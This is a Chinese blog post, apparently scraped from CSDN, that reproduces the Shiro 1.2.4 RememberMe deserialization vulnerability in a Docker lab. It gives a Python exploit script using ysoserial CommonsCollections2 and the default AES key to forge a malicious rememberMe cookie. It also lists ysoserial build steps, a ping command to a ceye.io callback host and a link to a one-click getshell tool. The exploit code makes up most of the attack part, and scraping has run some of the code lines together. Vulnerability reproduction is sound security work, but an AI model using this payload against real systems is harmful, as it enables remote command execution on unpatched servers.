shrio反序列漏洞修复_Shiro RememberMe 1.2.4 反序列化漏洞详细复现

本文详细介绍了Shiro 1.2.4版本的RememberMe反序列化漏洞,包括环境搭建、利用工具和复现过程。通过执行特定命令生成payload,并在漏洞环境中利用此payload进行攻击。同时,提供了修复建议和相关资源链接,帮助读者理解并防范此类漏洞。
摘要由CSDN通过智能技术生成

目前已出图形化界面工具,一键即可检测和getshell

工具地址:

https://github.com/feihong-cs/ShiroExploit

使用案例:

5453fab7562775a22aa873b13907d644.png

15aaec8131926da55f233b33ee8b3311.png

df18c1fc24b42041728d3ee97513ef94.png

6c224d7857f30b223ba68755d8e7ea44.png

4e9ca3d7724bf87fd3148bc98b943f56.png

分割线(以上内容为最新更新内容)

————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————

0x00 前言

今天上班的时候收到了一个复测的任务,打开一看,shiro反序列化漏洞,What?这是个什么东西,经百度查找后才知道,原来是Java的开发框架,好吧,还是没听说过。。由于初测报告上的过程过于简略(唯一有用的只有KEY),所以不得不自己研究一番了。

97b41c7a9b7c5b80796089d049f7ce2c.png

0x01 环境搭建

漏洞版本<=1.2.4,使用docker搭建

docker pull medicean/vulapps:s_shiro_1

docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

访问80端口即可访问漏洞环境

0x02 工具准备

1、生成payload的脚本

将下面的脚本保存至本地命名为shiro_poc.py,然后进入linux系统/tmp目录下(如想使用其他KEY,替换脚本中的即可)

不要使用vi/vim命令创建文件再粘贴过去,粘贴会破坏代码的布局格式

命令行输入rz回车,就会跳出文件上传的页面(如果报错,pip安装一下),选择文件上传即可

#pip install pycrypto

importsysimportbase64importuuidfrom random importRandomimportsubprocessfrom Crypto.Cipher importAESdefencode_rememberme(command):

popen= subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)

BS=AES.block_size

pad= lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) %BS)).encode()

key= "kPH+bIxk5D2deZiIxcaaaA=="mode=AES.MODE_CBC

iv=uuid.uuid4().bytes

encryptor=AES.new(base64.b64decode(key), mode, iv)

file_body=pad(popen.stdout.read())

base64_ciphertext= base64.b64encode(iv +encryptor.encrypt(file_body))returnbase64_ciphertextif __name__ == '__main__':

payload= encode_rememberme(sys.argv[1])

with open("/tmp/payload.cookie", "w") as fpw:print("rememberMe={}".format(payload.decode()), file=fpw)

2、安装模块

脚本使用的是python3,安装模块时要使用pip3 install 模块名

其中有一个模块需要强调,就是安装pycrypto,用来解决报错No module named Crypto.Cipher

pip3 install pycrypto

3、ysoserial的jar文件

依次执行以下命令(jar的文件名要和脚本中的一样,文件要和脚本在同一目录下)

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial

mvn package -DskipTests

cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

0x03 复现过程

在脚本后面输入你想要执行的命令,例:

python3 shiro_poc.py "ping fkl2af.ceye.io"

然后便会在脚本所在目录下生成文件payload.cookie

712b6e029b4087df4064cfbd50878ba1.png

浏览器打开漏洞环境并登陆进去,点击account page抓包

643f948c3a41cde831067d11ab498b9d.png

用payload.cookie中内容替换Cookie中的全部内容,Go

7803919fb24184830c0f94d84077333e.png

到ceye平台查看即可到流量记录

9297e17610f26cca3f5688d5bda960d3.png

最后感谢达哥和豪哥的帮助,让我顺利完成复测

如想学习更多漏洞复现,欢迎关注公众号Timeline Sec

参考链接:

https://paper.seebug.org/shiro-rememberme-1-2-4/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值